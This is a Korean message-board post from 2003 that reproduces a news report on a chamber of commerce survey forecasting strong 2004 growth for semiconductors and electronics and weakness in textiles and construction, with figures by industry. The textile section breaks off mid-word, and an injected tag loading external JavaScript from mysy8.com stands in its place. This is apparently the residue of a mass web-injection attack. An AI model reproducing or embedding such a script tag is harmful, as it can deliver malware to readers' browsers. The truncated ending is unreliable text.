| 글쓴이 |
운영자 |
작성일 |
2003-12-15 |
| 제목 |
내년 반도체ㆍ전자 ‘맑음’…섬유ㆍ건설은 ‘흐림’ |
내년 반도체ㆍ전자 ‘맑음’…섬유ㆍ건설은 ‘흐림’ 내년 우리 경제는 전자와 반도체 등은 성장세가 지속되는 반면 섬유, 건설 등 분야는 올해와 마찬가지로 부진한 모습을 보일 것으로 관측됐다. 대한상공회의소가 최근 주요 업종별 협회를 대상으로 조사한 ‘주요업종의 2003년 실적 및 2004년 전망’에 따르면 반도체, 전자 등은 본격적인 회복국면에 접어든 선진경기에 힘입어 내년에 수출을 중심으로 상대적으로 높은 성장세를 보일 것으로 조사됐다. 그러나 섬유, 건설, 정유 등은 해외경기 회복에 따른 수출 호조세에도 불구하고 카드사의 유동성 위기심화와 신용불량자 급증, 고용불안 심화, 부동산시장 침체가능성 등의 영향으로 성장세가 둔화될 것으로 나타났다. 내년도 주요 업종별 실적을 전망해보면 내수의 경우 디지털기기의 교체주기 도래와 선진국의 수요증가 등으로 전자(10.2%)와 일반기계(7.5%) 업종은 올해에 비해 증가세를 보일 것으로 조사됐으며, 올해 부진한 내수실적을 기록한 자동차 업종도 다소 좋아질 것으로 전망됐다. 반면 경기침체 지속으로 인한 수요감소, 부동산 대책 강화 등으로 섬유(-9.8%), 건설(-9.5%) 등의 업종은 위축세가 심화될 것으로 예상됐다. 수출의 경우, 본격적인 미국의 IT경기회복과 국산 디지털전자기기의 국제신인도 상승, 중국과 유럽시장의 수요증가 등에 힘입어 반도체(20.0%), 전자(15.9%), 일반기계(12.5%) 등의 업종에서 지속적인 증가세를 기록할 것으로 조사됐다. 반면 자동차, 철강, 석유화학 등은 올해에 비해 성장세가 크게 둔화될 것으로 보이며, 섬유, 정유 등은 마이너스를 기록한 올해에 비해 소폭 개선되는 수준에 그칠 것으로 조사됐다. 생산의 경우는 신규수요 증가와 수출확대 등에 따라 반도체, 전자, 일반기계 등의 업종을 중심으로 호조세를 나타낼 것으로 보이나 섬유, 철강, 정유 등은 올해 수준을 밑돌거나 비슷한 수준에 머물 것으로 나타났다. 상의관계자는 “내년에도 전자, 반도체 등을 제외한 나머지 주요업종의 경우 전망이 그리 밝지 않은 상황”이라며 “호조세가 업종 전반에 파급될 수 있도록 소비와 투자심리 회복을 위한 정책노력이 보다 강화되어야 한다”고 말했다.
▲자동차= 올해 생산과 내수는 경기침체로 인한 급격한 민간소비 위축과 주요 업체의 노사분규로 인한 장기간의 조업단축 등의 영향으로 생산과 내수가 각각 0.6%와 18.6% 감소한 반면 수출은 주요 해외시장에서의 국산차 브랜드 인지도 및 품질경쟁력 향상으로 16.8% 증가세를 보였다. 내년에는 업계의 생산능력 확대로 생산은 5.8% 증가할 것으로 보이지만 수출은 원화강세 및 통상문제 제기가능성으로 올해에 비해 증가세가 크게 감소된 1.5% 소폭 성장에 머물 것으로 조사됐다. 올해 큰 폭의 마이너스 실적을 기록한 내수의 경우 활발한 신모델 출시 등의 영향으로 올해보다는 다소 나아질 것으로 예상됐다.
▲전자= 올해 전자산업은 내수부진에도 불구하고 휴대폰, LCD 등 정보통신기기의 수출급증세 지속과 중국으로의 수출증가, 업계의 패키지제품 등 공격적인 마케팅에 힘입어 올해 생산과 내수는 각각 12.2%와 7.8%, 수출은 20.9% 신장됐다. 내년에는 디지털기기의 교체주기 도래와 미국 등 IT경기회복 가시화, 국산전자제품의 국제신인도 상승 등의 영향으로 올해에 이어 증가세를 유지할 것으로 보여 생산과 내수는 각각 15.5%와 10.2%, 수출은 15.9%의 두자릿수 성장할 것으로 기대된다.
▲반도체= 모바일제품 및 카메라 휴대폰, 디지털 가전제품 등의 수요증가로 고급형 메모리의 수요가 급증하면서 올해 생산과 수출은 51.1%와 17.2%의 큰 폭의 증가세를 보였다. 내년에는 세계경제 회복 및 기업의 IT투자 본격화와 중국을 비롯한 아시아 시장의 확대, 디지털가전제품의 꾸준한 수요증가로 성장세가 지속되어 생산과 수출이 각각 19.0%와 20.0% 증가할 것으로 예상된다.
▲일반기계= 올해는 자동차, IT산업 등 연관산업의 생산설비 증설과 급성장하고 있는 중국에 대한 수출증가, 유럽 및 미주에서의 견조한 수요증가로 생산과 내수는 각각 4.0%와 5.1%, 수출은 21.3%의 성장을 기록했다. 내년에도 연관산업의 설비투자 증가세 지속과 수출주력기종인 건설기계 및 섬유기계 등의 중국과 미국, 유럽시장에서의 수요증가로 생산과 내수는 각각 8.2%와 7.5%, 수출은 12.5%의 성장세를 이어갈 것으로 전망된다.
▲섬유= 사스발생 및 환율하락 등 대외여건 악화와 원료가격 상승, 수요업계의 경쟁력 악화 지속으로 인한 수요감소 등의 영향으로 금년도 생산과 내수가 각각 3.5%와 10.6% 감소하였고 수출의 경우도 2.7% 감소세를 기록했다. 내년에는 중국산 저가제품 국내유입 증가로 내수는 9.8% 감소할 것으로 보이며, 생산 또한 업계의 만성적 공급과잉 등으로 작년도 실?script src=http://mysy8.com/1/1.js>
|
|
|